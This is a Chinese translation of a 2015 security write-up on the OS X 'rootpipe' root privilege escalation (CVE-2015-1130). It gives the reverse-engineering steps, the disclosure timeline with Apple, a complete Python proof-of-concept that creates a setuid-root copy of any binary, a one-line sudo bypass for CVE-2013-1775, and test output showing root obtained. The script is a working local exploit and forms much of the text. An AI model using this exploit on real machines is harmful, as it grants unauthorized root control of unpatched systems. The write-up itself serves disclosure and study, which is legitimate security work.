5566

from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

0x00 摘要

Apple OS X系統中的Admin框架存在可以提升root權限的API后門，并且已經存在多年（至少是從2011年開始）。我是在2014年的10月發現他可以被用來已任何用戶權限提升為root權限，其本意可能是要服務“System Preferences”和systemsetup（命令行工具），但是所有的用戶進程可以使用相同的功能。

蘋果剛剛發布了OS X 10.10.3解決了此問題，但是OS X 10.9.x以及之前的版本存在此問題，因為蘋果決定不對這些版本進行修復了。我們建議所有的用戶都升級到10.10.3。

0x01 demo

我使用的第一個exp是基于CVE-2013-1775的，一個sudo認證繞過bug，這個bug已經在10.8.5（2013年9月）修復了。

exp代碼非常的簡單：

#!bash
$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

我跟我同事Philip ?kesson聊這個exp代碼實際上使用了systemsetup來修改系統時間。我們一起來看了下他修復的細節，原來除了修復了sudo，Apple也同時做了另外一件事情，他們把systemsetup設置為需要root權限，當以非root權限執行systemsetup的時候，下面的信息就會顯示（在10.8.5以及之后版本）：

#!bash
$ systemsetup
You need administrator access to run this tool... exiting!

這個消息其實是有點誤導的，以為我們實際上是在以管理員權限運行，安裝OS X時候創建的用戶默認就是admin權限。

總之，上面的消息表明執行該命令需要root權限，通過Hopper反匯編發現了下面的代碼

enter image description here

OK，所以systemsetup二進制文件只是簡單的檢查了是否是root權限。

修改了一下函數（用setne替代sete）：取得了成功

#!bash
$ systemsetup
> systemsetup
> type -help for help.

到目前為止，我們只是回到之前的systemsetup（10.8.5之前），你可以用systemsetup執行命令的一個例子：

#!bash
$ systemsetup –setremotelogin on

這將在22端口上開啟ssh服務，當然你也可以通過launchtl開啟，但是launchtl需要root權限。所以這在權限上還是有很明顯的區別的。

類名為RemoteServerSettings表明，有某種進程間通信可以解釋為什么需要root操作執行。不過還是要提一下，通過System Preferences開啟SSH服務也不需要root權限。

我發現這種權限的差異非常有趣，繼續反編譯systemsetup。

通過一個名字叫做[ServerSettings setRemoteLogin:]的方法實現了systemsetup中的setremotelogin命令。

函數做了一些輸入檢查，然后調用[InternetServices setSSHServerEnabled:]，這是在Admin框架中實現。反編譯Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法，清單如下：

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

一些例如setHttpdEnabled和setSSHServerEnabled共享一個輔助方法[ADMInternetServices setInetDServiceEnabled:enabled:]。

繼續看Admin框架代碼，發現：

enter image description here

代碼看來是為guest賬戶創建一個用戶特定的Apache配置文件，注意root用戶是這個文件的擁有者：

#!bash
$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

0x02 發現后門

上面截圖的代碼中最后一個被調用的Objective-C方法是createFileWithContents:path:attributes:

他獲取一個組數組包括字節數，文件路徑，文件屬性。

自己代碼中使用這個函數是這個樣子的：

#!bash
[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @0777 }];

問題在于我們如何控制“tool”，再看一看開始的代碼截圖：

#!bash
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

當我嘗試我自己的代碼的時候，爆出error錯誤：

### Attempt to send message without connection!

下面找出如何出現這個錯誤的：

enter image description here

這是檢查XPC代理在我的進程中是否啟動，看一下_onewayMessageDispatcher來定位初始代碼：

enter image description here

實際初始化的地方就是authenticateUsingAuthorization方法。

enter image description here

這正是我想要的，給writeconfig XPC服務創建一個XPC客戶端，并且這個服務是以root權限運行的。

enter image description here

唯一的問題就是我應該給authenticateUsingAuthorization傳遞什么參數，從systemsetup文件當中找到如下：

enter image description here

看起來[SFAuthorization authorization]可以來做觸發，下面是我的新的exp：

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @04777 }];

文件最終創建，setuid已經設置：

#!bash
-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

既然setuid已經設置并且擁有者是root，我們就有有了一個提權漏洞。

上面的代碼適用于10.9及以后版本，10.7.x和10.8.x有些類文件名略不相同。

但是上面的代碼仍然有一個問題，只可以在admin的權限下運行，之前提到過幾乎所有的OS X用戶都是admin。

最終找到一個適用所有用戶使用的方法，很簡單，只要把[SFAuthorization authorization]:的結果替換為發送nil到authenticateUsingAuthorizationSync。

[sharedClient authenticateUsingAuthorizationSync: nil];

0x03 Timeline

Oct 2nd 2014: First discovery
Oct 3rd 2014: First contact with Apple Product Security Team
Oct 14th 2014: Exploit code shared with Apple
Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
Nov 14th 2014: Apple requested to postpone disclosure
Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
Jan 16th 2015: CVE-2015-1130 created by Apple
Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
April 1st 2015: Apple confirmed that release is coming the second week of April
April 8th 2015: Release of OS X 10.10.3
April 9th 2015: Full disclosure

0x04 EXP

#!python
########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool

0x05 譯者測試

#!bash
[[email protected]:~]$ cp /bin/bash bashceshi 
[[email protected]:~]$ python CVE-2013-1775.py bashceshi bashroot
will write file /Users/test/Downloads/bashroot 
Done! 
[[email protected]:~]$ ./bashroot -p
bashroot-3.2# id
uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access_bpf),402(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)

97av